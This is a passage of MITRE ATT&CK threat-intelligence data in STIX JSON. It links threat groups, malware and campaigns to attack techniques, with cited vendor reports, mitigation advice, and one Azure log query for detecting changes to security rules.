December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"},{"source_name":"MuddyWater TrendMicro June 2018","description":"Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T19:39:57.524Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used PowerShell for execution.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8a85d1b-fc69-4c16-b57e-b4950cdc7731","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AWS Monitor API Calls to EC2 Security Groups","description":"Jeff Levine. (2017, January 3). How to Monitor AWS Account Configuration Changes and API Calls to Amazon EC2 Security Groups. Retrieved September 24, 2024.","url":"https://aws.amazon.com/blogs/security/how-to-monitor-aws-account-configuration-changes-and-api-calls-to-amazon-ec2-security-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T15:13:33.227Z","description":"Monitor cloud logs for modification or creation of new security groups or firewall rules. For example, in AWS environments, monitor for the `AuthorizeSecurityGroupsIngress` API call in CloudTrail and use AWS Config to monitor changes the configuration of a Virtual Private Cloud (VPC) Security Group.(Citation: AWS Monitor API Calls to EC2 Security Groups)\n\nAnalytic 1 - Operations performed by unexpected initiators, unusual rule names, frequent modifications\n\nindex=\"azure_activity_logs\" OperationName=\"Create or Update Security Rule\"\n| stats count by InitiatorName, Resource\n| where Resource LIKE \"Microsoft.Network/networkSecurityGroups/securityRules\" AND (Status!=\"Succeeded\" OR InitiatorName!=\"expected_initiator\")\n| sort by Time ","relationship_type":"detects","source_ref":"x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f","target_ref":"attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8ab5495-dbc7-470a-b3e7-cbbfbf29094e","created":"2023-09-13T20:17:01.344Z","revoked":false,"external_references":[{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T20:17:01.344Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can execute PowerShell scripts in a hidden window.(Citation: Morphisec Snip3 May 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8b07bb0-a0d3-49b2-a6c4-f546c50cdb64","type":"relationship","created":"2020-01-31T18:59:22.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T18:59:22.084Z","relationship_type":"revoked-by","source_ref":"attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8b7172d-ae96-4334-98f5-3bfc71122474","created":"2024-09-28T09:58:17.651Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-28T09:58:17.651Z","description":"[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) used a non-standard TCP session to initialize communication prior to establishing HTTPS command and control.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8ba13f3-b51a-4e7b-9534-7f9f8d362b0c","created":"2022-10-18T22:49:22.139Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:49:22.139Z","description":"Scan public code repositories for exposed credentials or other sensitive information before making commits. Ensure that any leaked credentials are removed from the commit history, not just the current latest version of the code.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8c2ee5b-293a-443d-be23-76a8cb8a8f3f","created":"2024-09-04T13:22:04.202Z","revoked":false,"external_references":[{"source_name":"TrustedSec OOB Communications","description":"Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.","url":"https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T13:22:04.202Z","description":"Use secure out-of-band authentication methods to verify the authenticity of critical actions initiated via email, such as password resets, financial transactions, or access requests. \n\nFor highly sensitive information, utilize out-of-band communication channels instead of relying solely on email. This reduces the risk of sensitive data being collected through compromised email accounts.\n\nSet up out-of-band alerts to notify security teams of unusual email activities, such as mass forwarding or large attachments being sent, which could indicate email collection attempts.\n\nCreate plans for leveraging a secure out-of-band communications channel, rather than an existing in-network email server, in case of a security incident.(Citation: TrustedSec OOB Communications)","relationship_type":"mitigates","source_ref":"course-of-action--80a0e940-f683-4fbd-ac00-e9f935f2f808","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8cb4430-db05-4029-b011-926a2ba17a4c","type":"relationship","created":"2017-05-31T21:33:27.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","source_name":"Kaspersky Winnti April 2013"}],"modified":"2019-03-25T17:15:03.477Z","description":"[Winnti Group](https://attack.mitre.org/groups/G0044) looked for a specific process running on infected servers.(Citation: Kaspersky Winnti April 2013)","relationship_type":"uses","source_ref":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8ce10b4-3b00-40c1-983a-1d87ff9a68ee","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"},{"url":"https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/","description":"Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.","source_name":"OilRig ISMAgent July 2017"},{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","source_name":"Unit 42 OopsIE! Feb 2018"},{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","source_name":"Unit 42 QUADAGENT July 2018"},{"source_name":"Unit42 OilRig Nov 2018","url":"https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/","description":"Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig’s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019."}],"modified":"2020-03-20T17:37:14.727Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used various types of scripting for execution.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig ISMAgent July 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2019-04-19T18:36:32.001Z","description":"A version of [XTunnel](https://attack.mitre.org/software/S0117) introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8d5e9f3-ec32-4a07-bdc7-86a2cff8a975","created":"2024-03-26T19:36:24.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T15:09:01.542Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used compromised Azure credentials for credential theft activity and lateral movement to on-premises systems.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n\nScattered Spider has also leveraged pre-existing AWS EC2 instances for lateral movement and data collection purposes.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8dda697-0d9b-4c99-baa1-1d64f7dd5a02","type":"relationship","created":"2020-10-20T19:09:24.030Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-22T02:18:19.735Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific protocols, such as TFTP, can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific technique used by a particular adversary or tool, and will likely be different across various network configurations. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8ddbb71-4b8e-44f1-a259-3801efc450b0","type":"relationship","created":"2022-02-18T16:24:44.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"modified":"2022-02-18T16:24:44.191Z","description":"[PowerPunch](https://attack.mitre.org/software/S0685) can use the volume serial number from a target host to generate a unique XOR key for the next stage payload.(Citation: Microsoft Actinium February 2022)","relationship_type":"uses","source_ref":"malware--d52291b4-bb23-45a8-aef0-3dc7e986ba15","target_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8ddf5f6-ec20-4eb6-bd22-b02f54a99693","type":"relationship","created":"2019-06-07T17:50:47.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"modified":"2019-07-25T17:52:06.600Z","description":"(Citation: Citizen Lab Group5)","relationship_type":"uses","source_ref":"intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40","target_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8deba4b-b2a0-4767-b0ee-dcacd64095c7","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Collect events related to Registry key creation for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Outlook Forms","description":"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.","url":"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"},{"source_name":"Outlook Today Home Page","description":"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.","url":"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8e4b87c-3d30-4627-8060-5b5116d057fc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-20T02:12:29.705Z","description":"[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of running WMI queries.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8e6f472-e048-401c-8a2e-5e2effc09040","created":"2021-03-03T19:53:18.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Exchange Zero Days March 2021","description":"Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html"},{"source_name":"Volexity Exchange Marauder March 2021","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"},{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"},{"source_name":"Microsoft Log4j Vulnerability Exploitation December 2021","description":"Microsoft Threat Intelligence. (2021, December 11). Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability. Retrieved December 7, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/"},{"source_name":"Microsoft HAFNIUM March 2020","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-03T20:15:46.195Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has exploited CVE-2021-44228 in Log4j and CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 to compromise on-premises versions of Microsoft Exchange Server.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)(Citation: FireEye Exchange Zero Days March 2021)(Citation: Tarrask scheduled task)(Citation: Microsoft Log4j Vulnerability Exploitation December 2021) ","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8e8e281-398c-4cec-bcc5-d12d28bada31","created":"2023-08-03T18:37:08.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.667Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used PowerShell cmdlet `Invoke-WCMDump` to enumerate Windows credentials in the Credential Manager in a compromised network.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8ea86ae-0cdc-4521-a9da-357e53514115","type":"relationship","created":"2021-03-18T13:12:15.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Static Kitten February 2021","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."}],"modified":"2021-03-18T14:51:15.891Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used web services including OneHub to distribute remote access tools.(Citation: Anomali Static Kitten February 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8edbb73-b8bf-42f5-85a3-091b3a4fd955","created":"2023-09-28T13:34:14.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:35:24.884Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can automatically collect data, such as CloudFormation templates, EC2 user data, AWS Inspector reports, and IAM credential reports.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8edf0d8-3c24-4082-9177-1bfb6e7d95c6","type":"relationship","created":"2020-06-26T16:17:18.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:56.053Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has impersonated the legitimate goopdate.dll, which was dropped on the target system with a legitimate GoogleUpdate.exe.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8f4a20b-0daf-443a-a283-1ff55649d320","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor for newly constructed files that may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8fae453-8493-4393-92ce-01975f1c1694","created":"2024-08-13T20:07:11.157Z","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T20:07:11.157Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used compromised Exchange accounts to search mailboxes for administrator accounts.(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e900ada7-1b3a-442d-aa86-5cd16a3a2c00","type":"relationship","created":"2019-06-28T17:40:32.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2019-07-01T18:16:33.113Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has been observed querying installed antivirus software.(Citation: Cyphort EvilBunny Dec 